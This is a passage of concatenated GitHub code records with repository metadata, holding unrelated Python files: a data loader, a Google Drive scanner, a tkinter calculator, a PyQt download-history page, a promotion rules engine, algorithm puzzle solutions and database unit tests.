have type matching as good as scala's... so here I am matching on a manually built map.\n for field in self.features:\n\n # If the field is a float field, then standardize the whole row.\n if self.feature_fields_map[field] == 'float64':\n column = [x if len(x) > 0 else 0 for x in data[:, self.features.index(field)] ] # Cleaning out empty vals\n chunk = scale(np.expand_dims(column, 1).astype('float64'))\n\n self.features_to_vector_idx[field] = getColumnsNum(chunks) # To let us know where in the vec a feature is\n\n if chunks is None:\n chunks = chunk\n else:\n chunks = np.concatenate((chunks, chunk), 1)\n\n\n\n # If the field is categorical, then replace the column with onehot encodings.\n elif self.feature_fields_map[field] == 'categorical':\n lb = LabelBinarizer()\n lb.fit(data[:, self.features.index(field)])\n lb.classes_ = sorted(lb.classes_)\n chunk = lb.transform(data[:, self.features.index(field)])\n\n self.features_to_vector_idx[field] = getColumnsNum(chunks) # To let us know where in the vec a feature is\n self.categoricals[field] = lb.classes_ # To let us know what categories were encoded\n\n if chunks is None:\n chunks = chunk\n else:\n chunks = np.concatenate((chunks, chunk), 1)\n\n elif self.feature_fields_map[field] == 'indicator':\n\n double_column = [[x, 0] if len(x) > 0 else [0, 1] for x in data[:, self.features.index(field)]]\n double_column = np.array(double_column)\n indicators = double_column[:, 1]\n vals = scale(double_column[:, 0])\n\n if chunks is None:\n chunks = np.concatenate((np.expand_dims(vals, 1), np.expand_dims(indicators, 1)), 1)\n else:\n chunks = np.concatenate((chunks, np.expand_dims(vals, 1), np.expand_dims(indicators,1)), 1)\n\n # Save the labelfield for last.\n labels = np.expand_dims(data[:, -1], 1)\n chunks = np.concatenate((chunks, labels), 1)\n\n # Putting together the full list of the new features we just transformed\n # These can later be aligned with weight vectors from models and whatnot\n # which is generally useful for model explainability\n headers = []\n for field in self.features:\n if self.feature_fields_map[field] == 'float64' :\n headers.append(field)\n elif self.feature_fields_map[field] == 'categorical':\n categories = list(self.categoricals[field])\n if len(categories) > 2:\n headers += [field + \": \" + category for category in list(self.categoricals[field])]\n elif len(categories) == 2:\n headers += [categories[0] + \"/\" + categories[1]]\n else:\n headers += [categories[0]]\n elif self.feature_fields_map[field] == 'indicator':\n headers.append(field)\n headers.append(field + \"_indicator\")\n\n self.vector_headers = headers\n\n return chunks.astype('float64')\n\n # Implementing an extract method to get all the fields I want.\n def extract(self, textrow):\n\n row = np.array(textrow.split(self.delimiter)[:-1])\n features = row[self.headerindex] # [np.array of mixed type]\n labels = [self.label_collapse_map[row[self.labelindex][0]]] # [int]\n\n # Compiling my data column row by row\n self.date_column.append(row[self.header.index('as_of_year')])\n\n # Returning features with a label value at the very end.\n return np.concatenate((features, labels)) # np.array row of mixed type\n\n # This method lets you quickly index by date to pull out chunks of data.\n def get_dates(self, datelist):\n\n index = np.zeros([self.data.shape[0]]).astype('bool')\n\n for date in datelist:\n\n index += np.array(self.date_column).astype('int') == int(date)\n\n return self.data[index, :]\n\n\n","repo_name":"NaimKabir/Wick","sub_path":"dataloader.py","file_name":"dataloader.py","file_ext":"py","file_size_in_byte":10351,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"994461483","text":"\"\"\"Google Drive Scan.\"\"\"\n\nimport argparse\n\nfrom googleapiclient.discovery import build\n\nfrom drive_file import DriveFile\n\n# Google Drive API\nDRIVE_API_NAME = \"drive\"\nDRIVE_API_VERSION = \"v3\"\n\n# Google Drive Service client\n_client = build(DRIVE_API_NAME, DRIVE_API_VERSION)\n\n\ndef create_drive_file(id: str) -> DriveFile:\n file = _client.files().get(fileId=id).execute()\n\n return DriveFile(**file)\n\n\ndef get_files(drive_file: DriveFile, mime_types: list[str] = None) -> list[DriveFile]:\n files = list()\n\n page_token = None\n while True:\n if mime_types:\n mime_types_filter = \" or \".join(f\"mimeType = '{i}'\" for i in mime_types)\n query = f\"({mime_types_filter}) and '{drive_file.id}' in parents\"\n else:\n query = f\"'{drive_file.id}' in parents\"\n\n request = (\n _client.files()\n .list(\n q=query,\n spaces=\"drive\",\n fields=\"nextPageToken, files(id, name)\",\n pageSize=1000,\n pageToken=page_token,\n )\n .execute()\n )\n\n for file in request.get(\"files\", []):\n new_drive_file = create_drive_file(file[\"id\"])\n\n new_drive_file.parent_id = drive_file.id\n new_drive_file.path = f\"{drive_file.path} > {file['name']}\"\n new_drive_file.depth = drive_file.depth + 1\n\n files.append(new_drive_file)\n\n page_token = request.get(\"nextPageToken\", None)\n print(page_token)\n if page_token is None:\n break\n\n return files\n\n\ndef drive_scan(\n drive_file: DriveFile,\n max_depth: int = None,\n filter: list[str] = None,\n current_depth: int = 0,\n):\n current_depth = current_depth + 1\n if max_depth is None or current_depth <= max_depth:\n if drive_file.is_folder:\n for file in get_files(drive_file, filter):\n for child in drive_scan(file, max_depth, filter, current_depth):\n yield child\n\n yield drive_file\n\n\ndef main(args):\n folder = create_drive_file(args.folder_id)\n files = drive_scan(folder, max_depth=args.max_depth)\n\n for file in files:\n print(file.__dict__)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\n \"-f\",\n \"--folder_id\",\n required=True,\n help=\"The id of the Google Drive folder to scan.\",\n )\n parser.add_argument(\n \"-d\",\n \"--max_depth\",\n type=int,\n help=\"Max depth to reach while scanning Google Drive folders.\",\n default=3,\n )\n\n args = parser.parse_args()\n main(args)\n","repo_name":"leandrotoledo/python-google-drive-scan","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33946235010","text":"\"\"\"\n# Sample code to perform I/O:\n\nname = input() # Reading input from STDIN\nprint('Hi, %s.' % name) # Writing output to STDOUT\n\n# Warning: Printing unwanted or ill-formatted data to output will cause the test cases to fail\n\"\"\"\n\n# Write your code here\nt = int(input())\nbx, by, bz = map(int, input().strip().split())\nbvx, bvy, bvz = map(int, input().strip().split())\nmx, my, mz = map(int, input().strip().split())\nmvx, mvy, mvz = map(int, input().strip().split())\n\n\ndef f(a, b, c, x):\n return a * x * x + b * x + c\n\n\na = (mvx - bvx) ** 2 + (mvy - bvy) ** 2 + (mvz - bvz) ** 2\nb = 2 * ((bx - mx) * (bvx - mvx) + (by - my) * (bvy - mvy) + (bz - mz) * (bvz - mvz))\nc = (bx - mx) ** 2 + (my - by) ** 2 + (mz - bz) ** 2\nif b <= 0:\n if a == 0:\n x = -c / b\n if x < t:\n ans = min(f(a, b, c, x), f(a, b, c, t))\n else:\n ans = f(a, b, c, t)\n elif b == 0:\n ans = c\n else:\n x = -b / (2 * a)\n if x < t:\n ans = min(f(a, b, c, x), f(a, b, c, t))\n else:\n ans = f(a, b, c, t)\nelse:\n ans = c\nans = ans ** .5\nprint(f'{ans:0.6f}')\n","repo_name":"HBinhCT/Q-project","sub_path":"hackerearth/Algorithms/(Approximate)Paper Planes/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"31"} +{"seq_id":"22846412856","text":"import math\nfrom tkinter import *\nfrom tkinter import messagebox\n\ndef calculateF(key) :\n if key == \"=\":\n\n try:\n result = eval(calc_entry.get())\n calc_entry.insert(END, \"=\" + str(result))\n except:\n calc_entry.insert(END, \"Error!\")\n messagebox.showerror(\"ERROR!\", \"Check the correctness of data\")\n calc_entry.delete(0, END)\n\n elif key == \"c\":\n calc_entry.delete(0, END)\n\n elif key == \"+/-\":\n if \"=\" in calc_entry.get():\n calc_entry.delete(0, END)\n try:\n if calc_entry.get()[0] == \"-\":\n calc_entry.delete(0)\n else:\n calc_entry.insert(0, \"-\")\n except IndexError:\n pass\n\n elif key == \"pi\":\n calc_entry.insert(END, math.pi)\n\n elif key == 'xⁿ':\n calc_entry.insert(END, \"**\")\n\n else:\n if \"=\" in calc_entry.get():\n calc_entry.delete(0, END)\n calc_entry.insert(END, key)\n\n\nbuttonList = [\n \"7\", \"8\", \"9\", \"+\", \"-\",\n \"4\", \"5\", \"6\", \"*\", \"/\",\n \"1\", \"2\", \"3\", \"+/-\", \"pi\",\n \"0\", \".\", \"c\", \"=\", \"xⁿ\"\n]\nr = 1\nc = 0\n\nroot = Tk()\nroot.configure(bg='black')\nroot.title(\"Калькулятор\")\n\nfor i in buttonList:\n\n cmd = lambda x=i: calculateF(x)\n Button(root, text=i, width=7, height=1, command=cmd, bg='grey', fg='white', activebackground='orange').grid(row=r, column=c)\n\n c += 1\n if c > 4:\n c = 0\n r += 1\n\ncalc_entry = Entry(root, width=50, bg='grey', fg='black')\ncalc_entry.grid(row=0, column=0, columnspan=5)\n\nroot.mainloop()\n\n","repo_name":"mezd10/calculate","sub_path":"calculate.py","file_name":"calculate.py","file_ext":"py","file_size_in_byte":1587,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"18907932751","text":"from dataclasses import dataclass\nfrom abc import ABC, abstractmethod\nfrom pathlib import Path\nimport os\nimport logging\nimport pydicom\nfrom utils.roi_tools import InvalidDICOMFile, InvalidROIError\nfrom flywheel import Client, FileEntry\nfrom fw_file.dicom import DICOMCollection\n\n\nlog = logging.getLogger(__name__)\n\n\"\"\"\nCollectors - \nProcess 2 of 4\nThese are designed to pull roi information from flywheel.\nThe ROI information can be on the session level (for dicoms) or the file level (niftis)\nThey must identify where the information is, and then in the case of\nsession level dicom data, they will only pull out ROI's that are associated with\nthe input file provided to the gear. \n\nResponsibilities:\n1. locate ohif metadata\n2. isolate ROI's associated with input file\n3. return curated metadata\n \nFull process:\n1. Prep\n2. Collect\n3. Create\n4. Convert\n\n\"\"\"\n\n\nclass BaseCollector(ABC):\n # Type key set on each base class to identify which class to instantiate\n type_ = None\n\n def __init__(self, fw_client, file_object, orig_dir):\n self.fw_client = fw_client\n self.orig_dir = orig_dir\n self.file_object = file_object\n self.ohifviewer_info = {}\n self.validROIs = [\"RectangleRoi\", \"EllipticalRoi\", \"FreehandRoi\"]\n\n def get_ohif_info(self):\n # Can assume file is reloaded already as the file object does this automatically\n flywheel_file = self.file_object.flywheel_file\n print(flywheel_file.name)\n if flywheel_file.get(\"info\") and flywheel_file[\"info\"].get(\"ohifViewer\"):\n self.ohifviewer_info = flywheel_file[\"info\"].get(\"ohifViewer\")\n print(\"info on file\")\n\n else:\n # session stores the OHIF annotations\n print(\"info on session\")\n session = self.fw_client.get_session(flywheel_file[\"parents\"][\"session\"])\n print(session.label)\n self.ohifviewer_info = session.info.get(\"ohifViewer\")\n\n if not self.ohifviewer_info:\n error_message = \"Session info is missing ROI data for selected DICOM file.\"\n raise InvalidROIError(error_message)\n\n @abstractmethod\n def collect(self):\n pass\n\n @classmethod\n def factory(cls, type_: str, fw_client, file_object, orig_dir):\n \"\"\"Return an instantiated Collector.\"\"\"\n for sub in cls.__subclasses__():\n if type_.lower() == sub.type_:\n return sub(fw_client, file_object, orig_dir)\n raise NotImplementedError(f\"File type {type_} no supported\")\n\n\nclass DicomRoiCollector(BaseCollector):\n type_ = \"dicom\"\n\n def collect(self):\n self.get_ohif_info()\n studyUID, seriesUID = self.get_current_study_series_uid()\n self.identify_rois_on_image(studyUID, seriesUID)\n\n return self.ohifviewer_info\n\n # def get_one_dicom(self):\n # dicom = None\n # for root, _, files in os.walk(str(self.orig_dir), topdown=False):\n # for fl in files:\n # try:\n # dicom_path = Path(root) / fl\n # dicom = pydicom.read_file(dicom_path, force=True)\n # break\n # except Exception as e:\n # log.warning(\"Could not open dicom file. Trying another.\")\n # log.exception(e)\n # pass\n # if dicom:\n # break\n #\n # return dicom\n\n def get_current_study_series_uid(self):\n # need studyInstanceUid and seriesInstanceUid from DICOM series to select\n # appropriate records from the Session-level OHIF viewer annotations:\n # e.g. session.info.ohifViewer.measurements.EllipticalRoi[0].imagePath =\n # studyInstanceUid$$$seriesInstanceUid$$$sopInstanceUid$$$0\n # open one dicom file to extract studyInstanceUid and seriesInstanceUid\n # If this was guaranteed to be a part of the dicom-file metadata, we could grab it\n # from there. No guarantees. But all the tags are in the WADO database...\n\n dcms = DICOMCollection.from_dir(self.orig_dir)\n studyInstance = dcms.get(\n \"StudyInstanceUID\"\n ) # Get's value across the collection, raises a ValueError if multiple are found\n seriesInstance = dcms.get(\"SeriesInstanceUID\")\n return studyInstance, seriesInstance\n\n def identify_rois_on_image(self, studyInstanceUid, seriesInstanceUid):\n imagePath = f\"{studyInstanceUid}$$${seriesInstanceUid}$$$\"\n # check for imagePath in ohifViewer info\n if imagePath not in str(self.ohifviewer_info):\n error_message = \"Session info is missing ROI data for selected DICOM file.\"\n raise InvalidROIError(error_message)\n\n new_ohif_measurements = {}\n for measurement_type, measurements in self.ohifviewer_info.get(\n \"measurements\", {}\n ).items():\n\n # Ensure this is an ROI type we can use\n if measurement_type not in self.validROIs:\n log.info(f\"Measurement type {measurement_type} invalid, skipping\")\n continue\n\n current_measurements = []\n\n # This could be dict comprehension but I'm leaving it broken out for readability\n # We're going to look through each measurement and extract those that\n # are specifically on this particular dicom, identified by its series instance uid\n for roi in measurements:\n if roi.get(\"SeriesInstanceUID\") == seriesInstanceUid:\n current_measurements.append(roi)\n\n new_ohif_measurements[measurement_type] = current_measurements\n\n # Now the info here only has ROI's related to this particular dicom.\n self.ohifviewer_info = new_ohif_measurements\n\n\nclass NiftiRoiCollector(BaseCollector):\n type_ = \"nifti\"\n\n def collect(self):\n pass\n","repo_name":"flywheel-apps/ROI2nix","sub_path":"utils/workers/Collectors.py","file_name":"Collectors.py","file_ext":"py","file_size_in_byte":5849,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"72217704087","text":"import platform\nimport os\nimport subprocess\n\nfrom PyQt5 import uic\nfrom PyQt5.QtCore import pyqtSlot, Qt, QPoint, QFileInfo\nfrom PyQt5.QtWidgets import QMenu, QAction, QWidget, QTableView, QHeaderView, QTableWidget\nfrom gui.HistoryTableModel import HistoryTableModel\nfrom gui.Utils import CustomRole\nfrom gui.EraseHistoryDialog import EraseHistoryDialog\n\n\nclass HistoryPage(QWidget):\n\n\tdef __init__(self, parent=None):\n\t\tsuper(HistoryPage, self).__init__(parent)\n\t\tuic.loadUi(\"gui/ui/historyWidget.ui\", self)\n\n\t\t# creating the table view for the history and the model that holds the data\n\t\tself.historyTableModel = HistoryTableModel()\n\t\tself.historyTableView = QTableView()\n\t\tself.historyTableView.setSortingEnabled(True)\n\t\tself.historyTableView.setSelectionBehavior(QTableView.SelectRows)\n\n\t\t# Init table view\n\t\tself.historyTableView.setModel(self.historyTableModel)\n\n\t\tself.historyTableView.horizontalHeader().setSectionResizeMode(QHeaderView.Interactive)\n\t\tself.historyTableView.horizontalHeader().setStretchLastSection(True)\n\t\t# the fields in the table are non editable\n\t\tself.historyTableView.setEditTriggers(QTableWidget.NoEditTriggers)\n\n\t\tself.mainLayout.addWidget(self.historyTableView)\n\n\t\t# connecting the signal for the context menu on right click on history table row\n\t\tself.historyTableView.setContextMenuPolicy(Qt.CustomContextMenu)\n\t\tself.historyTableView.customContextMenuRequested.connect(self.context_menu_triggered_history_table)\n\n\t@pyqtSlot()\n\tdef empty_history(self):\n\t\t# deleting the whole model after that the user has pressed the button of delete history and confirmed\n\t\t# asking the user\n\t\tcancel_dialog = EraseHistoryDialog(None)\n\t\tresult = cancel_dialog.exec()\n\n\t\tif result:\n\t\t\t# emptying the model\n\t\t\tself.historyTableModel.delete_all()\n\t\t\t# deleting from the file\n\t\t\ttry:\n\t\t\t\tos.remove(\"./UserHistory.json\")\n\t\t\texcept:\n\t\t\t\tprint(\"No history to delete\")\n\t\t\tself.deleteHistoryButton.setEnabled(False)\n\n\t@pyqtSlot(QPoint)\n\tdef context_menu_triggered_history_table(self, clickpoint):\n\t\tindex = self.historyTableView.indexAt(clickpoint)\n\t\tif index.isValid():\n\t\t\tcontext = QMenu(self)\n\t\t\tfinder = \"Show in Explorer\"\n\t\t\tif platform.system() == \"Linux\":\n\t\t\t\tfinder = \"Reveal in File Explorer\"\n\t\t\telif platform.system() == \"Darwin\":\n\t\t\t\tfinder = \"Reveal in Finder\"\n\t\t\topenExplorer = QAction(finder, self)\n\n\t\t\t# getting the path from this row\n\t\t\tcurrentItem = self.historyTableModel.itemFromIndex(self.historyTableModel.index(index.row(), 0))\n\n\t\t\t# if this download has been moved the reveal in finder must be not possible\n\t\t\tpath = currentItem.data(Qt.UserRole + CustomRole.full_path)\n\t\t\tif not os.path.exists(path):\n\t\t\t\topenExplorer.setEnabled(False)\n\t\t\t\t# if the file does not exist anymore we set the status as Moved passing the index at clickpoint\n\t\t\t\tself.historyTableModel.set_data_moved(index)\n\n\t\t\tcontext.addActions([openExplorer])\n\t\t\topenExplorer.triggered.connect(self.open_explorer_item)\n\t\t\tcontext.exec(self.historyTableView.mapToGlobal(clickpoint))\n\n\t@pyqtSlot()\n\tdef open_explorer_item(self):\n\t\tindex = self.historyTableView.selectionModel().currentIndex()\n\t\tcurrentItem = self.historyTableModel.itemFromIndex(self.historyTableModel.index(index.row(), 0))\n\t\tinfo = QFileInfo(currentItem.data(Qt.UserRole + CustomRole.full_path))\n\t\t# revealing in Finder / Explorer / Nautilus the selected file\n\t\tif info.isDir():\n\t\t\tfilepath = info.canonicalFilePath()\n\t\telse:\n\t\t\tfilepath = info.canonicalPath()\n\t\ttry:\n\t\t\tos.startfile(filepath)\n\t\texcept:\n\t\t\ttry:\n\t\t\t\tsubprocess.Popen([\"xdg-open\", filepath])\n\t\t\texcept:\n\t\t\t\tsubprocess.call([\"open\", \"-R\", filepath])\n\n","repo_name":"ClaudiaRaffaelli/FileDownloader","sub_path":"gui/HistoryPage.py","file_name":"HistoryPage.py","file_ext":"py","file_size_in_byte":3581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"15187404508","text":"from import_components import *\n\nclass MyCalendar(MDBoxLayout):\n\n now = datetime.now()\n year,month,day = now.year, now.month, now.day\n TextCalendar = calendar.TextCalendar(calendar.SUNDAY)\n #unsel = type(\"unselect\", (), {'bg':(0,16/255,38/255,1)})\n unsel = type(\"unselect\", (), {'bg':(0,0,0,0)})\n sel = type(\"select\", (), {'bg':(0.2,0.2,0.1,1)})\n today = type(\"today\", (), {'fg':(0,0.8,0,1)})\n\n def __init__(self,**kwargs):\n super().__init__(**kwargs)\n self.orientation = 'horizontal'\n self.root = MDApp.get_running_app().root\n self.create_layout()\n self.date = self.year, self.month, self.day\n\n def create_layout(self):\n self.create_month_box()\n self.rightgrid = GridLayout(size_hint =( 0.75,1), padding = 0, spacing = 0, rows = 7, cols = 7)\n self.add_widget(self.monthbox)\n self.add_widget(self.rightgrid)\n self.create_dates()\n print(self.unsel.bg)\n\n def create_month_box(self):\n self.monthbox = BoxLayout( size_hint = (0.25,1), orientation='vertical' )\n self.monthctrlbox = BoxLayout( size_hint =(1,0.28), orientation='horizontal')\n self.minusbutton = B1(bold=True, markup=True, text = '[size=16][b]<[/b][/size]')\n self.plusbutton = B1(bold=True, markup=True, text = '[size=16][b]>[/b][/size]')#, on_release = self.on_change_month(+1) )\n self.minusbutton.bind(on_release = partial(self.on_change_month,-1) )\n self.plusbutton.bind(on_release = partial(self.on_change_month,+1) )\n self.monthctrlbox.add_widget(self.minusbutton)\n self.monthctrlbox.add_widget(self.plusbutton)\n self.monthbutton = B1( size_hint = (1,0.72), color = base.fg,bold = True, text = str(self.month), on_press=self.on_press)\n self.monthbutton.font_size = self.monthbutton.height * 0.65\n self.monthbox.add_widget(self.monthctrlbox)\n self.monthbox.add_widget(self.monthbutton)\n\n def create_weekdays(self):\n for col,weekday in enumerate('SUN MON TUS WED THU FRI SAT'.split()):\n button = Button(text=weekday)\n button.font_size = 12\n if weekday == 'SUN': button.color = 0.5,0,0,1\n elif weekday == 'SAT': button.color = 0,0,0.5,1\n else: button.color = 0.5,0.5,0.5,1\n self.rightgrid.add_widget(button)\n\n def create_dates(self):\n for row in range(1,6+1):\n for col in range(7):\n button = B1()\n #button.background_color = 0,0,0,1\n button.bind(on_press = self.on_press)\n id = f'rc{row}{col}'\n self.ids[id] = button \n self.rightgrid.add_widget(button)\n self.update_dates(self.year,self.month)\n\n def initialize(self):\n print(self.unsel, self.unsel.bg)\n for row in range(1,6+1):\n for col in range(7):\n id = f'rc{row}{col}'\n button = self.ids[id]\n button.text = ''\n button.bold = False\n button.background_color = self.unsel.bg\n #button.background_color = self.unsel.bg\n #button.color = 0,0,0,1\n\n def update_dates(self,year,month):\n self.initialize()\n row = 1\n for ayear,amonth,aday,aweekday in self.TextCalendar.itermonthdays4(year,month): \n col = (aweekday+1) % 7\n id = f'rc{row}{col}'\n button = self.ids[id]\n button.text = str(aday)\n button.color = base.fg\n button.disabled = False\n if amonth == month:\n if col == 0: button.color = 1,0,0,1 # SUNDAY\n if col == 6: button.color = 0,0,1,1 # SATERDAY\n if (ayear, amonth, aday) == (self.now.year, self.now.month, self.now.day):\n button.bold = True\n button.color = self.today.fg\n button.background_color = self.sel.bg\n else: # not this month\n #button.color = 0.5,0.5,0.5,0.7\n button.background_color = self.unsel.bg\n button.background_disabled_normal = ''\n button.disabled = True\n if col == 6: row += 1\n #print(id,button.text)\n\n def on_press(self,btn):\n root = MDApp.get_running_app().root\n if btn == self.monthbutton:\n month = int(btn.text)\n commutefile = get_monthlycommutefile( datetime(self.year,month,1) )\n print(root, commutefile)\n root.mainstatus.text = f'loading {commutefile}'\n os.startfile(commutefile)\n return\n\n for id in self.ids:\n if self.ids[id] == btn:\n btn.background_color = self.sel.bg\n else:\n self.ids[id].background_color = self.unsel.bg\n self.date = self.year,self.month,int(btn.text)\n root.update_date(self.date)\n print('=========================',self.date)\n\n def on_change_month(self,nextmonth,btn):\n print('==>',nextmonth)\n self.month = int(self.monthbutton.text)\n if nextmonth == -1: self.month += -1\n if nextmonth == +1: self.month += +1\n if self.month == 13: \n self.year += 1\n self.month = self.month % 12\n if self.month == 0:\n self.year += -1\n self.month = 12\n self.monthbutton.text = str(self.month)\n self.update_dates(self.year, self.month)\n\nif __name__ == '__main__':\n class TestApp(MDApp):\n def build(self):\n return MyCalendar()\n TestApp().run()\n","repo_name":"MeetLuck/kivystartpage","sub_path":"mycal/mycalendar.py","file_name":"mycalendar.py","file_ext":"py","file_size_in_byte":5612,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"41602905832","text":"import os, sys\nimport plotly.express as px\nimport pandas as pd\n\nlist_dir = [os.path.join(os.getcwd(), x) for x in os.listdir('./') if 'GAP_' in x and os.path.isdir(x)]\n\n\nlist_dir = [x for x in list_dir if int(x.split('_')[-1]) != 0 ]\n\ndf = pd.DataFrame(columns=['cutoff', 'sparse'])\n\nMSE = []\ncutoff = []\nsparse = []\nfor i in list_dir:\n mse_file =[os.path.join(i, x) for x in os.listdir(i) if 'MSE' in x]\n cutoff.append(float(mse_file[0].split('_')[-2]))\n sparse.append(float(mse_file[0].split('_')[-1].split('/')[-2]))\n with open(mse_file[0], 'r') as f:\n line = f.readlines()[0]\n MSE.append(float(line))\n\ndf['cutoff'] = cutoff\ndf['sparse'] = sparse\ndf['mse'] = MSE\ndf.to_csv('for_contour.csv', index=False)\n\nprint(df)\n\nimport plotly.graph_objects as go\n\nfig = go.Figure(data=\n go.Contour(\n z=MSE,\n x=cutoff, # horizontal axis\n y=sparse, # vertical axis\n colorbar=dict(\n title='RMSE of ±0.5 ang from the equilibrium bond distance',\n titleside='right'\n ),\n colorscale='Hot',\n contours=dict(\n start=0.1,\n end=0.3, # 0.4\n size=0.01 # 0.01\n )\n ))\nfig.write_html(f'contour.html')\n\n","repo_name":"cmc-ucl/ML_POT","sub_path":"two_param_grid_search/plot_contour.py","file_name":"plot_contour.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"27270559015","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n def partition(self, head: ListNode, x: int) -> ListNode:\n xmin = ListNode(0)\n xmax = ListNode(1)\n r1,r2 = xmin,xmax\n while head is not None:\n if head.val 0:\n c += c2\n\n if dd >= 10 and dd <= 26:\n c += c1\n\n c1 = c2\n c2 = c\n\n return c2\n\n\n\nprint(decodeways(\"1423\"))\n\n","repo_name":"vaisakhsrinivas/Samples","sub_path":"decodeWays.py","file_name":"decodeWays.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72762615449","text":"import json\nfrom operator import mod\nfrom business_rules.actions import BaseActions, rule_action\nfrom business_rules.fields import FIELD_NUMERIC\nfrom business_rules.variables import BaseVariables, numeric_rule_variable, string_rule_variable\nimport datetime\nfrom django.utils import timezone\nfrom rules_engine.models import OrderPromotionLog, Promotion\n\n\nclass OrderDetailVariables(BaseVariables):\n\n def __init__(self, order_detail):\n self.order_detail = order_detail\n\n @string_rule_variable()\n def product_code(self):\n return self.order_detail.product.product_code\n\n @numeric_rule_variable()\n def product_amount(self):\n return self.order_detail.amount\n\n @numeric_rule_variable()\n def product_amount(self):\n return self.order_detail.amount\n\n\nclass OrderDetailActions(BaseActions):\n def __init__(self, order_detail):\n self.order_detail = order_detail\n self.product = order_detail.product\n\n @rule_action(params={\"buy_count\": FIELD_NUMERIC,\n \"cheaper_count\": FIELD_NUMERIC,\n \"sale_percentage\": FIELD_NUMERIC,\n \"promotion_id\": FIELD_NUMERIC})\n def buy_and_get_cheaper(self, buy_count, cheaper_count, sale_percentage, promotion_id):\n\n \"\"\"\n buy x at regular price, get y at promotion price\n \"\"\"\n\n # caculate the promtion price\n total_cnt = self.order_detail.amount\n mod_cnt = mod(total_cnt, (buy_count + cheaper_count))\n mod_cnt_regular = (mod_cnt if mod_cnt <= buy_count else buy_count)\n mod_cnt_promotion = (mod_cnt-buy_count) if (mod_cnt-buy_count) > 0 else 0\n group_cnt = int (total_cnt / (buy_count + cheaper_count))\n\n regular_price_cnt = group_cnt * buy_count + mod_cnt_regular\n promotion_price_cnt = group_cnt * cheaper_count + mod_cnt_promotion\n\n actual_price = regular_price_cnt * self.order_detail.unit_price \\\n + promotion_price_cnt * self.order_detail.unit_price * sale_percentage\n\n self.order_detail.actual_price = actual_price\n self.order_detail.save()\n\n # add promotion log\n log_promotion(self.order_detail, promotion_id)\n\n\n @rule_action(params={\"group_count\": FIELD_NUMERIC, \"sale_price\": FIELD_NUMERIC, \"promotion_id\": FIELD_NUMERIC})\n def buy_group_and_cheaper(self, group_count, sale_price, promotion_id):\n \"\"\"\n buy X as a group at price Y, instead of regular price\n \"\"\"\n\n # calculate promotion price\n group_price_count = int(self.order_detail.amount / group_count) * group_count\n regular_price_count = mod(self.order_detail.amount, group_count)\n actual_price = group_price_count * sale_price + regular_price_count * self.order_detail.unit_price\n\n # update the order price\n self.order_detail.actual_price = actual_price\n self.order_detail.save()\n\n # add promotion log\n log_promotion(self.order_detail, promotion_id)\n\n\ndef log_promotion(order_detail, promotion_id):\n p_log = OrderPromotionLog()\n p_log.promotion_date = timezone.now()\n p_log.order = order_detail.order\n p_log.order_detail = order_detail\n p_log.amount = order_detail.regular_price - order_detail.actual_price\n p_log.promotion_id = promotion_id\n\n p_log.save()\n\n\ndef get_rules():\n\n \"\"\"\n get promotion rules from database\n \"\"\"\n\n all_promotions = Promotion.objects.filter(status=Promotion.PROMOTION_STATUS_ACTIVE)\n rules = []\n for promo in all_promotions:\n\n # update the rules with promtion id\n promo_id = promo.id\n rule_dict = json.loads(promo.rule_script)\n actions = rule_dict[\"actions\"]\n for a in actions:\n params = a[\"params\"]\n params.update(promotion_id=promo_id)\n\n rules.append(rule_dict)\n\n return rules","repo_name":"yanxiaosong/vgg_rules","sub_path":"rules_engine/rules/definition.py","file_name":"definition.py","file_ext":"py","file_size_in_byte":3845,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"19118748050","text":"import unittest\r\nimport sqlite3\r\nfrom plots.flare import *\r\nfrom plots.cme import *\r\nfrom plots.neo import *\r\nfrom plots.particle import *\r\n\r\nDBNAME='./database/nasa.db'\r\n\r\n\r\n\r\nclass TestDatabase(unittest.TestCase):\r\n\r\n def test_flares_table(self):\r\n conn = sqlite3.connect(DBNAME)\r\n cur = conn.cursor()\r\n\r\n sql = '''\r\n SELECT S.Start, S.Type, T.XrayOutput, I.Name\r\n FROM SolarFlares AS S\r\n JOIN SolarFlareTypes As T ON T.Type=S.Type\r\n JOIN SolarFlareInstruments AS I ON I.SolarFlareID=S.ID\r\n ORDER BY S.Start\r\n '''\r\n results = cur.execute(sql)\r\n result_list = results.fetchall()\r\n self.assertEqual(len(result_list[0]), 4)\r\n conn.close()\r\n\r\n def test_cme_table(self):\r\n conn = sqlite3.connect(DBNAME)\r\n cur = conn.cursor()\r\n\r\n sql = '''\r\n SELECT C.Longitude, C.Latitude, C.Speed, C.Note, C.Type, C.Time, F.Type\r\n FROM CME AS C\r\n JOIN SolarFlares As F ON F.LinkedEventID=C.CMEID\r\n '''\r\n results = cur.execute(sql)\r\n result_list = results.fetchall()\r\n self.assertEqual(len(result_list[0]), 7)\r\n conn.close()\r\n\r\n def test_particle_table(self):\r\n conn = sqlite3.connect(DBNAME)\r\n cur = conn.cursor()\r\n\r\n sql = '''\r\n SELECT P.Date, P.ID, COUNT(*)\r\n FROM SolarEnergeticParticles AS P\r\n GROUP BY P.Date\r\n '''\r\n results = cur.execute(sql)\r\n result_list = results.fetchall()\r\n self.assertEqual(len(result_list[0]), 3)\r\n conn.close()\r\n\r\n def 